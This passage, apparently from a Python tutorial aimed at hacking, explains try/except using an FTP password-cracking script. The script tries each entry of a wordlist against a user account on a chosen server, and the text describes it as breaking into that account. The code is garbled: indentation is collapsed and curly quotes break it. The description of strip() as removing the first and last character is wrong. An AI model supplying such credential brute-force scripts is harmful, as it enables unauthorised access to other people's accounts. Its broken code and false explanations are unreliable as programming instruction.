to deal with possible errors, we use exception handling, which is simple code that handles a particular problem, presents an error message, or even uses an exception for decision making.
try/except
A try block tries to execute some code, and if an error occurs, the except statement handles that error. In some case, we can use the try/except structure for decision making, similar to if…else. For instance, we can use try/except in a password cracker to try a password and, if an error occurs due to the password not matching, move to the next password with the except statement.
#!/usr/bin/python3
import ftplib
server = input(“FTP Server: “)
user = input(“username: “)
Passwordlist = input(“Path to Password List > “)
try: with open(Passwordlist, ‘r’) as pw: for word in pw: word = word.strip(‘\r’).strip(‘\n’)
try :
ftp = ftplib.FTP(server)
ftp.login(user,word)
print("Success! The password is" + word)
except:
print('still trying ...')
except: print(‘Wordlist error’)
we’re going to use tools from the ftplib module for the FTP protocol, so first we import that. Next, we create a variable named server and another variable named user, which will store some comamnds for user input. Your script will prompt the user to enter the IP address of the FTP server and the username for the account the user is trying break into.
We then begin the try block of code that will use th epassword list provided by the user to attempt to crack the password for the username supplied by the user to attempt to crack the password for the username supplied by the user.
Note that we use a new Python function called strip(). This function removes the first and last character of a string (in this case, the Passwordlist). This is necessary if the passwords in this list have a preceding whitespace or comma. the strip() function removes these and leaves just the string of characters of the potential password. If we don’t strip the whitespace, we might get a false negative.
Then we use a second try block. Here we use the ftplib module to first connect to the server using the IP address the user supplied and then try the next password from the password list on that account.
If the combination of the username and password results in an error, the block exits and goes to the except clause, where it prints still tryig and then returns to the top of the for clause and grabs the next password from the password list to try.
If the combination succeeds, the successful password is printed to the screen. The final line pciks up any other situations that would otherwise result in errors. An example would be if the user input something the program couldn’t process, such as bad path to the wordlist or a missing wordlist.